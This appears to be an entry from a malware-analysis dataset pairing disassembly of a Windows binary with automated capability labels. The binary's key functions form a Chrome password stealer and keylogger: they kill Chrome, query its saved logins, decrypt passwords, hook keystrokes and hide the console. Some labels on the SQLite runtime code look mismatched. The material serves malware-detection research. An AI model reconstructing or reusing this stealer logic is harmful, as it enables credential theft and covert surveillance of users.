joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401799
Capabilities:
Execute command
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0x288
lea rbp, [rsp + 0x80]
movzx eax, byte [0x0050a030]
test al, al
jne 0x4019b9
lea rcx, str.taskkill__IM_chrome.exe__F
call sym.system
lea rcx, str.USERPROFILE
call sym.getenv
mov rdx, rax
lea rax, [rbp - 0x50]
mov r8, rdx
lea rdx, str._sAppDataLocalGoogleChromeUser_DataDefaultLogin_Data
mov rcx, rax
call sym.sprintf
lea rdx, [rbp + 0x1c0]
lea rax, [rbp - 0x50]
mov rcx, rax
call dbg.sqlite3_open
mov dword [rbp + 0x1fc], eax
cmp dword [rbp + 0x1fc], 0
je 0x401843
mov rax, qword [rbp + 0x1c0]
mov rcx, rax
call dbg.sqlite3_errmsg
mov rbx, rax
mov ecx, 2
mov rax, qword [sym.__acrt_iob_func]
call rax
mov r8, rbx
lea rdx, str.Erro_ao_abrir_banco_de_dados:__s_n
mov rcx, rax
call sym.fprintf
jmp 0x4019ba
lea rax, str.SELECT_origin_url__username_value__password_value_FROM_logins
mov qword [rbp + 0x1f0], rax
mov rax, qword [rbp + 0x1c0]
lea rcx, [rbp + 0x1b8]
mov rdx, qword [rbp + 0x1f0]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8d, 0xffffffff
mov rcx, rax
call dbg.sqlite3_prepare_v2
mov dword [rbp + 0x1fc], eax
jmp 0x401968
mov rax, qword [rbp + 0x1b8]
mov edx, 0
mov rcx, rax
call dbg.sqlite3_column_text
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1b8]
mov edx, 1
mov rcx, rax
call dbg.sqlite3_column_text
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1b8]
mov edx, 2
mov rcx, rax
call dbg.sqlite3_column_blob
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1b8]
mov edx, 2
mov rcx, rax
call dbg.sqlite3_column_bytes
mov dword [rbp + 0x1d4], eax
mov edx, dword [rbp + 0x1d4]
mov rax, qword [rbp + 0x1d8]
mov rcx, rax
call dbg.desc
mov qword [rbp + 0x1c8], rax
cmp qword [rbp + 0x1c8], 0
je 0x401968
lea rax, [0x0050ae30]
mov rax, qword [rax]
mov r8, qword [rbp + 0x1e0]
mov rcx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x1c8]
mov qword [rsp + 0x20], rdx
mov r9, r8
mov r8, rcx
lea rdx, str.URL:__s_nUser:__s_nSenha:__s_n
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x1c8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LocalFree]
call rax
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
call dbg.sqlite3_step
cmp eax, 0x64
je 0x40188b
mov rax, qword [rbp + 0x1b8]
mov rcx, rax
call dbg.sqlite3_finalize
mov rax, qword [rbp + 0x1c0]
mov rcx, rax
call dbg.sqlite3_close
lea rax, [0x0050ae30]
mov rax, qword [rax]
mov rcx, rax
call sym.fflush
mov byte [0x0050a030], 1
jmp 0x4019ba
nop
add rsp, 0x288
pop rbx
pop rbp
ret

Function at 0x4019c4
Capabilities:
Get graphical window text

Disassembly:
push rbp
sub rsp, 0x120
lea rbp, [rsp + 0x80]
mov rax, qword [sym.imp.USER32.dll_GetForegroundWindow]
call rax
mov rcx, rax
lea rax, [rbp - 0x60]
mov r8d, 0x100
mov rdx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowTextA]
call rax
lea rax, [rbp - 0x60]
lea rdx, [0x0050b640]
mov rcx, rax
call sym.strcmp
test eax, eax
je 0x401a46
lea rax, [rbp - 0x60]
mov rdx, rax
lea rax, [0x0050b640]
mov rcx, rax
call sym.strcpy
lea rax, [0x0050ae20]
mov rax, qword [rax]
lea rdx, [0x0050b640]
mov r8, rdx
lea rdx, str._n_Janela_Ativa:__s__n
mov rcx, rax
call sym.fprintf
nop
add rsp, 0x120
pop rbp
ret
Function at 0x401d53
Capabilities:
Hide graphical window
Log keystrokes via application hook

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rdx, [0x004e9202]
lea rcx, str.teclas.txt
call sym.fopen
mov rdx, rax
lea rax, [0x0050ae20]
mov qword [rax], rdx
lea rdx, [0x004e9202]
lea rcx, str.senhas.txt
call sym.fopen
mov rdx, rax
lea rax, [0x0050ae30]
mov qword [rax], rdx
call dbg.captaSenhasChrome
mov r9d, 0
mov r8d, 0
lea rdx, [dbg.tecladoHook]
mov ecx, 0xd
mov rax, qword [sym.imp.USER32.dll_SetWindowsHookExA]
call rax
mov qword [rbp - 0x10], rax
jmp 0x401e0e
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_TranslateMessage]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_DispatchMessageA]
call rax
lea rax, [rbp - 0x40]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetMessageA]
call rax
test eax, eax
jne 0x401dee
lea rax, [0x0050ae20]
mov rax, qword [rax]
mov rcx, rax
call sym.fclose
lea rax, [0x0050ae30]
mov rax, qword [rax]
mov rcx, rax
call sym.fclose
mov eax, 0
add rsp, 0x60
pop rbp
ret
Function at 0x40bf56
Capabilities:
Encrypt data using salsa20 or chacha

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x18]
mov qword [rbp - 8], rax
call dbg.sqlite3_initialize
test eax, eax
jne 0x40c11b
mov ecx, 5
call dbg.sqlite3MutexAlloc
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
call dbg.sqlite3_mutex_enter
cmp dword [rbp + 0x10], 0
jle 0x40bfa1
cmp qword [rbp + 0x18], 0
jne 0x40bfbc
mov dword [0x0050a220], 0
mov rax, qword [rbp - 0x10]
mov rcx, rax
call dbg.sqlite3_mutex_leave
jmp 0x40c11c
mov eax, dword [0x0050a220]
test eax, eax
jne 0x40c045
mov ecx, 0
call dbg.sqlite3_vfs_find
mov qword [rbp - 0x18], rax
mov rax, qword [str.expand_32_byte_k]
mov rdx, qword [0x004f71a8]
mov qword [0x0050a220], rax
mov qword [0x0050a228], rdx
cmp qword [rbp - 0x18], 0
jne 0x40c010
mov r8d, 0x2c
mov edx, 0
lea rcx, [0x0050a230]
call sym.memset
jmp 0x40c028
mov rax, qword [rbp - 0x18]
lea r8, [0x0050a230]
mov edx, 0x2c
mov rcx, rax
call dbg.sqlite3OsRandomness
mov eax, dword [0x0050a250]
mov dword [0x0050a25c], eax
mov dword [0x0050a250], 0
mov byte [0x0050a2a0], 0
movzx eax, byte [0x0050a2a0]
movzx eax, al
cmp dword [rbp + 0x10], eax
jg 0x40c0a7
mov eax, dword [rbp + 0x10]
movsxd rcx, eax
movzx eax, byte [0x0050a2a0]
movzx eax, al
sub eax, dword [rbp + 0x10]
cdqe
lea rdx, [rax + 0x40]
lea rax, [0x0050a220]
add rdx, rax
mov rax, qword [rbp - 8]
mov r8, rcx
mov rcx, rax
call sym.memcpy
movzx eax, byte [0x0050a2a0]
mov edx, dword [rbp + 0x10]
sub eax, edx
mov byte [0x0050a2a0], al
nop
mov rax, qword [rbp - 0x10]
mov rcx, rax
call dbg.sqlite3_mutex_leave
jmp 0x40c11c
movzx eax, byte [0x0050a2a0]
test al, al
je 0x40c0ed
movzx eax, byte [0x0050a2a0]
movzx edx, al
mov rax, qword [rbp - 8]
mov r8, rdx
lea rdx, [0x0050a260]
mov rcx, rax
call sym.memcpy
movzx eax, byte [0x0050a2a0]
movzx eax, al
sub dword [rbp + 0x10], eax
movzx eax, byte [0x0050a2a0]
movzx eax, al
add qword [rbp - 8], rax
mov eax, dword [0x0050a250]
add eax, 1
mov dword [0x0050a250], eax
lea rdx, [0x0050a220]
lea rcx, [0x0050a260]
call dbg.chacha_block
mov byte [0x0050a2a0], 0x40
jmp 0x40c045
nop
add rsp, 0x40
pop rbp
ret
Function at 0x40c1bf
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov rax, qword [rbp + 0x10]
mov qword [rax], 0
mov ecx, 0x28
call dbg.sqlite3Malloc
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x40c1fd
mov eax, 7
jmp 0x40c2f1
movzx eax, byte [0x004e5044]
test al, al
je 0x40c216
mov ecx, 0xc8
call dbg.sqlite3FaultSim
test eax, eax
je 0x40c22f
mov rax, qword [rbp - 8]
mov r8d, 0x28
mov edx, 0
mov rcx, rax
call sym.memset
jmp 0x40c2aa
mov rax, qword [rbp - 8]
mov rdx, qword [rbp + 0x18]
mov qword [rax + 0x10], rdx
mov rax, qword [rbp - 8]
mov rdx, qword [rbp + 0x20]
mov qword [rax + 0x18], rdx
mov rax, qword [rbp - 8]
add rax, 8
mov rdx, qword [rbp - 8]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
mov r9, rdx
lea r8, [dbg.sqlite3ThreadProc]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.msvcrt.dll__beginthreadex]
call rax
mov rdx, rax
mov rax, qword [rbp - 8]
mov qword [rax], rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax]
test rax, rax
jne 0x40c2aa
mov rax, qword [rbp - 8]
mov r8d, 0x28
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
test rax, rax
jne 0x40c2e1
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
call rax
mov edx, eax
mov rax, qword [rbp - 8]
mov dword [rax + 8], edx
mov rdx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov rcx, rdx
call rax
mov rdx, rax
mov rax, qword [rbp - 8]
mov qword [rax + 0x20], rdx
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp - 8]
mov qword [rax], rdx
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x4100cc
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x10
mov qword [rbp + 0x10], rcx
mov word [rbp - 2], 0x28
cmp qword [rbp + 0x10], 7
ja 0x41010b
cmp qword [rbp + 0x10], 1
ja 0x410102
mov eax, 0
jmp 0x410164
movzx eax, word [rbp - 2]
sub eax, 0xa
mov word [rbp - 2], ax
shl qword [rbp + 0x10], 1
cmp qword [rbp + 0x10], 7
jbe 0x4100f3
jmp 0x410143
bsr rax, qword [rbp + 0x10]
xor rax, 0x3f
mov edx, 0x3c
sub edx, eax
mov eax, edx
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
mov edx, eax
movzx eax, word [rbp - 2]
add eax, edx
mov word [rbp - 2], ax
mov eax, dword [rbp - 8]
mov ecx, eax
shr qword [rbp + 0x10], cl
mov rax, qword [rbp + 0x10]
and eax, 7
lea rdx, [rax + rax]
lea rax, [0x004e62b0]
movzx eax, word [rdx + rax]
mov edx, eax
movzx eax, word [rbp - 2]
add eax, edx
sub eax, 0xa
add rsp, 0x10
pop rbp
ret
Function at 0x453f1c
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov qword [rbp + 0x20], r8
mov dword [rbp + 0x28], r9d
mov rax, qword [rbp + 0x20]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp + 0x30]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x10]
add rax, 1
movzx eax, byte [rax]
movzx eax, al
mov dword [rbp - 0x1c], eax
mov rax, qword [rbp - 0x18]
add rax, 1
movzx eax, byte [rax]
movzx eax, al
mov dword [rbp - 0x20], eax
mov rax, qword [rbp - 0x10]
movzx eax, byte [rax]
movzx eax, al
mov rdx, qword [rbp - 0x10]
add rax, rdx
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x18]
movzx eax, byte [rax]
movzx eax, al
mov rdx, qword [rbp - 0x18]
add rax, rdx
mov qword [rbp - 0x30], rax
mov eax, dword [rbp - 0x1c]
cmp eax, dword [rbp - 0x20]
jne 0x454033
mov eax, dword [rbp - 0x1c]
cdqe
lea rdx, [0x004f8098]
movzx eax, byte [rax + rdx]
mov byte [rbp - 0x31], al
mov dword [rbp - 4], 0
mov dword [rbp - 8], 0
jmp 0x454028
mov eax, dword [rbp - 8]
cdqe
mov rdx, qword [rbp - 0x28]
add rax, rdx
movzx eax, byte [rax]
movzx edx, al
mov eax, dword [rbp - 8]
cdqe
mov rcx, qword [rbp - 0x30]
add rax, rcx
movzx eax, byte [rax]
movzx eax, al
sub edx, eax
mov eax, edx
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
je 0x454024
mov rax, qword [rbp - 0x28]
movzx edx, byte [rax]
mov rax, qword [rbp - 0x30]
movzx eax, byte [rax]
xor eax, edx
test al, al
jns 0x45409f
mov rax, qword [rbp - 0x28]
movzx eax, byte [rax]
test al, al
jns 0x45401a
mov eax, 0xffffffff
jmp 0x45401f
mov eax, 1
mov dword [rbp - 4], eax
jmp 0x45409f
add dword [rbp - 8], 1
movzx eax, byte [rbp - 0x31]
cmp dword [rbp - 8], eax
jl 0x453fbf
jmp 0x4540a0
cmp dword [rbp - 0x1c], 7
jle 0x45404a
cmp dword [rbp - 0x20], 7
jle 0x45404a
mov eax, dword [rbp - 0x1c]
sub eax, dword [rbp - 0x20]
mov dword [rbp - 4], eax
jmp 0x4540a0
cmp dword [rbp - 0x20], 7
jle 0x454059
mov dword [rbp - 4], 1
jmp 0x454071
cmp dword [rbp - 0x1c], 7
jle 0x454068
mov dword [rbp - 4], 0xffffffff
jmp 0x454071
mov eax, dword [rbp - 0x1c]
sub eax, dword [rbp - 0x20]
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 0
jle 0x45408b
mov rax, qword [rbp - 0x28]
movzx eax, byte [rax]
test al, al
jns 0x4540a0
mov dword [rbp - 4], 0xffffffff
jmp 0x4540a0
mov rax, qword [rbp - 0x30]
movzx eax, byte [rax]
test al, al
jns 0x4540a0
mov dword [rbp - 4], 1
jmp 0x4540a0
nop
cmp dword [rbp - 4], 0
jne 0x4540ef
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x10]
mov rax, qword [rax + 0x28]
movzx eax, word [rax + 6]
cmp ax, 1
jbe 0x454109
mov r8d, dword [rbp + 0x28]
mov rcx, qword [rbp + 0x20]
mov rax, qword [rbp + 0x18]
mov edx, dword [rbp + 0x38]
mov dword [rsp + 0x28], edx
mov rdx, qword [rbp + 0x30]
mov qword [rsp + 0x20], rdx
mov r9d, r8d
mov r8, rcx
mov rdx, rax
mov rcx, qword [rbp + 0x10]
call dbg.vdbeSorterCompareTail
mov dword [rbp - 4], eax
jmp 0x454109
mov rax, qword [rbp + 0x10]
mov rax, qword [rax + 0x10]
mov rax, qword [rax + 0x28]
mov rax, qword [rax + 0x18]
movzx eax, byte [rax]
test al, al
je 0x454109
neg dword [rbp - 4]
mov eax, dword [rbp - 4]
add rsp, 0x70
pop rbp
ret
Function at 0x46827c
Capabilities:
Reference sql statements

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov qword [rbp + 0x28], r9
mov rax, qword [rbp + 0x10]
mov byte [rax + 0x1c], 1
mov rcx, qword [rbp + 0x18]
mov rdx, qword [rbp + 0x18]
mov eax, dword [rbp + 0x30]
mov dword [rsp + 0x30], eax
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x28], rax
mov eax, dword [rbp + 0x20]
mov dword [rsp + 0x20], eax
mov r9, rcx
mov r8, rdx
lea rdx, str.SELECT_1_FROM___w_.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name___d___Q___d_NULL
mov rcx, qword [rbp + 0x10]
call dbg.sqlite3NestedParse
cmp dword [rbp + 0x20], 0
jne 0x4682fc
mov rcx, qword [rbp + 0x28]
mov rdx, qword [rbp + 0x18]
mov eax, dword [rbp + 0x30]
mov dword [rsp + 0x20], eax
mov r9, rcx
mov r8, rdx
lea rdx, str.SELECT_1_FROM_temp.sqlite_master_WHERE_name_NOT_LIKE_sqliteX____ESCAPE_X_AND_sql_NOT_LIKE_create_virtual___AND_sqlite_rename_test__Q__sql__type__name__1___Q___d_NULL
mov rcx, qword [rbp + 0x10]
call dbg.sqlite3NestedParse
nop
add rsp, 0x40
pop rbp
ret
Function at 0x4ca796
Capabilities:
Check for software breakpoints

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov rax, qword [rax]
mov qword [rbp - 8], rax
jmp 0x4ca7eb
mov rax, qword [rbp - 8]
movzx eax, word [rax + 2]
cmp ax, 0xcc
jbe 0x4ca7e6
mov rax, qword [rbp - 8]
lea rdx, [rax + 8]
mov rax, qword [rbp - 8]
movzx eax, word [rax + 2]
movzx eax, ax
mov rcx, qword [rbp - 0x10]
mov r8, rdx
mov edx, eax
call dbg.yy_destructor
sub qword [rbp - 8], 0x18
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x18]
cmp qword [rbp - 8], rax
ja 0x4ca7b7
mov rax, qword [rbp - 0x10]
mov rdx, qword [rax + 0x18]
mov rax, qword [rbp - 0x10]
add rax, 0x20
cmp rdx, rax
je 0x4ca81e
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x18]
mov rcx, rax
call dbg.sqlite3_free
nop
add rsp, 0x30
pop rbp
ret
Function at 0x4e3940
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x0050aac4]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x4e3ac8
mov rax, qword [0x0050aac8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x4e398c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x4e3a15
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x4e3970
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x4e3afd
mov rax, qword [0x0050aac8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0050aac8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x4e3ae0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x4e3a0e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x4e3a70
add dword [0x0050aac4], 1
cmp edi, 8
jae 0x4e3a43
test dil, 4
jne 0x4e3ab4
test edi, edi
je 0x4e3a38
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x4e3acf
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x4e3a38
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x4e3a5c
jmp 0x4e3a38
add rsi, qword [0x0050aac8]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x4e3a0e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x4e3a38
xor esi, esi
jmp 0x4e3997
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x4e3a38
mov rax, qword [0x0050aac8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x4e4250
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0050ada0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x0050ad80]
test rbx, rbx
je 0x4e42a4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x4e429b
test rsi, rsi
je 0x4e429b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x4e4280
lea rcx, [0x0050ada0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x4e44e0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x4e44f0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x4e4500
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x4e4541
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x4e4538
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x4e4543
add rax, 0x28
cmp rax, r9
jne 0x4e4524
xor eax, eax
ret

Function at 0x4e45e0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004f9610]
cmp word [r8], 0x5a4d
mov rdx, rcx
jne 0x4e464d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4e464d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4e464d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4e4644
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4e464f
add rax, 0x28
cmp rax, r9
jne 0x4e4630
xor eax, eax
add rsp, 0x28
ret

Function at 0x4e4750
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x004f9610]
xor eax, eax
cmp word [r8], 0x5a4d
mov rdx, rcx
je 0x4e4770
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4e4768
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x4e47cd
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x4e47c4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x4e47d4
add rax, 0x28
cmp rax, r9
jne 0x4e47b0
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret

Function at 0x4e47f0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x004f9610]
cmp word [r11], 0x5a4d
mov r9d, ecx
jne 0x4e485e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x4e485e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x4e485e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x4e485e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x4e4855
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x4e4865
add rcx, 0x28
cmp rcx, rax
jne 0x4e4840
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x4e4878
jmp 0x4e485e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x4e4886
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x4e485e
test r9d, r9d
jg 0x4e4870
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret
Function at 0x4e4df0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x1400114fb
Capabilities:
Terminate process

Disassembly:
jmp 0x140020530
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret